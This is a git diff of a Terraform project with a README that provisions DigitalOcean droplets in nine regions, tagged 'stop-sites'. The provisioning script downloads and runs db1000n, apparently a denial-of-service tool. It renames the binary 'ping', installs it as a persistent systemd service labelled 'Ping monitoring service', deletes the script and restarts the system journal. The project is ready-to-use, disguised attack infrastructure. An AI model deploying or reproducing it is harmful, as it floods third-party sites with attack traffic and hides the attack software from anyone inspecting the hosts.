diff --git a/03-main.tf b/03-main.tf new file mode 100644 index 0000000..c8088f7 --- /dev/null +++ b/03-main.tf @@ -0,0 +1,20 @@ +## This module creates number of servers in each of provided region. +## I.e. if number_of_servers = 2 and regions = ["nyc1", "nyc2", "nyc3"] this will create six servers at summary. +## # https://github.com/Arriven/db1000n/releases + +module "db1000n" { + source = "./module" + count = 2 + regions = ["nyc1", "nyc3", "sfo3", "ams3", "sgp1", "lon1", "fra1", "tor1", "blr1"] + db1000n_version = "v0.5.20" + name = "db00-${count.index}" + digitalocean_tag = "stop-sites" + image_name = "ubuntu-20-04-x64" + size = "s-1vcpu-1gb" + ipv6 = true + backups = false + monitoring = true + droplet_agent = true + tags = "stop-sites" + digitalocean_ssh_key = "ssh_user_key_name" +} diff --git a/README.md b/README.md index 012868e..b9ed5f8 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,59 @@ -# do_terraform -DO terraform module +# DO terraform module [db1000n](https://github.com/Arriven/db1000n) + +This module creates a number of servers in each of provided region. If you set `count = 2` and regions = ["nyc1", "nyc2", "nyc3"] this will create six servers total. Two servers in each of regions. + +**Requriment:** +- Digital Ocean account +- API key +- Already present SSH key in DO account +- Terraform + +![](https://raw.githubusercontent.com/rmalenko/do_terraform/main/img/SCR-20220306-sq0.png) +![](https://raw.githubusercontent.com/rmalenko/do_terraform/main/img/SCR-20220306-sqw.png) + +## ADD API key +`./module/variables.tf` + +``` +variable "do_token" { + type = string + default = "your_API_key" +} +``` + + +## How to add SSH key +Settings -> Security -> Add SSH key + +remeber key's name and add it into: `./03-main.tf` string `digitalocean_ssh_key =` + +``` +module "db1000n" { + source = "./module" + count = 2 + regions = ["nyc1", "nyc3", "sfo3", "ams3", "sgp1", "lon1", "fra1", "tor1", "blr1"] + name = "db00-${count.index}" + digitalocean_tag = "stop-sites" + image_name = "ubuntu-20-04-x64" + size = "s-1vcpu-1gb" + ipv6 = true + backups = false + monitoring = true + droplet_agent = true + tags = "stop-sites" + digitalocean_ssh_key = "SSH_key_name" +} +``` + +`count =` - it's number of droplets creates in each of `regions` + +Version - `db1000n_version = "v0.5.20"` actual version you may get [there](https://github.com/Arriven/db1000n/releases) + + +## Also means +you are using ssh keys with name `~/.ssh/id_rsa.pub` if not, change it in `./module/variables.tf` these variables `variable "pub_key"` and `variable "pvt_key"` + +Run `terraform init` If I didn't miss anything, you will not get an error message. +Then `terraform plan` and `terraform apply` +delete `terraform destroy -auto-approve` + diff --git a/img/SCR-20220306-sq0.png b/img/SCR-20220306-sq0.png new file mode 100644 index 0000000..05cb54d Binary files /dev/null and b/img/SCR-20220306-sq0.png differ diff --git a/img/SCR-20220306-sqw.png b/img/SCR-20220306-sqw.png new file mode 100644 index 0000000..40c4d1e Binary files /dev/null and b/img/SCR-20220306-sqw.png differ diff --git a/module/do-512-ams.tf b/module/do-512-ams.tf new file mode 100644 index 0000000..5d8db1e --- /dev/null +++ b/module/do-512-ams.tf @@ -0,0 +1,54 @@ +data "digitalocean_tag" "stop-sites" { + name = var.tags +} + +data "digitalocean_ssh_key" "terraform" { + name = var.digitalocean_ssh_key +} + +resource "local_file" "user_credentials" { + content = templatefile("${path.module}/script.tpl", { + db1000n_version = var.db1000n_version + }) + filename = "${path.module}/script.sh" +} + +resource "digitalocean_droplet" "db1000n" { + for_each = toset(var.regions) + name = "${var.name}-${each.key}" + size = var.size + region = each.key + ipv6 = var.ipv6 + backups = var.backups + monitoring = var.monitoring + droplet_agent = var.droplet_agent + image = var.image_name + + tags = [data.digitalocean_tag.stop-sites.id] + + ssh_keys = [ + data.digitalocean_ssh_key.terraform.id + ] + + connection { + user = "root" + type = "ssh" + private_key = file(var.pvt_key) + timeout = "2m" + host = self.ipv4_address + } + + provisioner "file" { + source = "${path.module}/script.sh" + destination = "/opt/script.sh" + } + + provisioner "remote-exec" { + inline = [ + "chmod +x /opt/script.sh", + "/opt/script.sh", + ] + } + + depends_on = [ resource.local_file.user_credentials ] +} diff --git a/module/script.sh b/module/script.sh new file mode 100755 index 0000000..9cb5f87 --- /dev/null +++ b/module/script.sh @@ -0,0 +1,30 @@ +#!/usr/bin/env bash + +printf %s "[Unit] +Description=Ping monitoring service +After=network.target +Wants=network-online.target + +[Service] +Restart=always +Type=simple +WorkingDirectory=/opt +ExecStart=/opt/ping + +[Install] +WantedBy=multi-user.target +" | tee /etc/systemd/system/pings.service + +cd /opt +wget https://github.com/Arriven/db1000n/releases/download/v0.5.20/db1000n-v0.5.20-linux-amd64.tar.gz --output-document=/opt/db1000n-linux-amd64.tar.gz +tar -xf /opt/db1000n-linux-amd64.tar.gz +mv ./db1000n ./ping +chmod +x ./ping +rm /opt/db1000n-linux-amd64.tar.gz /opt/script.sh + +systemctl daemon-reload +systemctl enable pings.service +systemctl start pings.service +sleep 5s +systemctl restart systemd-journald +exit 0 diff --git a/module/script.tpl b/module/script.tpl new file mode 100755 index 0000000..f3cd4bb --- /dev/null +++ b/module/script.tpl @@ -0,0 +1,30 @@ +#!/usr/bin/env bash + +printf %s "[Unit] +Description=Ping monitoring service +After=network.target +Wants=network-online.target + +[Service] +Restart=always +Type=simple +WorkingDirectory=/opt +ExecStart=/opt/ping + +[Install] +WantedBy=multi-user.target +" | tee /etc/systemd/system/pings.service + +cd /opt +wget https://github.com/Arriven/db1000n/releases/download/${db1000n_version}/db1000n-${db1000n_version}-linux-amd64.tar.gz --output-document=/opt/db1000n-linux-amd64.tar.gz +tar -xf /opt/db1000n-linux-amd64.tar.gz +mv ./db1000n ./ping +chmod +x ./ping +rm /opt/db1000n-linux-amd64.tar.gz /opt/script.sh + +systemctl daemon-reload +systemctl enable pings.service +systemctl start pings.service +sleep 3 +systemctl restart systemd-journald +exit 0 diff --git a/module/variables.tf b/module/variables.tf new file mode 100644 index 0000000..c4c1897 --- /dev/null +++ b/module/variables.tf @@ -0,0 +1,55 @@ +variable "pub_key" { + default = "~/.ssh/id_rsa.pub" +} + +variable "pvt_key" { + default = "~/.ssh/id_rsa" +} + +variable "regions" { + type = list(string) +} + +variable "name" { + type = string +} + +variable "digitalocean_tag" { + type = string +} + +variable "size" { + type = string +} + +variable "ipv6" { + type = string +} + +variable "backups" { + type = string +} + +variable "monitoring" { + type = string +} + +variable "droplet_agent" { + type = string +} + +variable "image_name" { + type = string +} + +variable "tags" { + type = string +} + +variable "digitalocean_ssh_key" { + type = string +} + +variable "db1000n_version" { + type = string +} diff --git a/module/versions.tf b/module/versions.tf new file mode 100644 index 0000000..a1aa568 --- /dev/null +++ b/module/versions.tf @@ -0,0 +1,9 @@ +terraform { + required_providers { + digitalocean = { + source = "digitalocean/digitalocean" + version = "~> 2.0" + } + } +} + diff --git a/provider.tf b/provider.tf new file mode 100644 index 0000000..bbad356 --- /dev/null +++ b/provider.tf @@ -0,0 +1,13 @@ +provider "digitalocean" { + token = var.do_token +} + +terraform { + required_providers { + digitalocean = { + source = "digitalocean/digitalocean" + version = "~> 2.0" + } + } +} + diff --git a/variables.tf b/variables.tf new file mode 100644 index 0000000..55c6379 --- /dev/null +++ b/variables.tf @@ -0,0 +1,10 @@ +# Adjust number of servers to match your load +variable "number_of_servers" { + description = "Number of servers which will create in each of provided region" + default = "2" +} + +variable "do_token" { + type = string + default = "API_tokeN_52e2" +}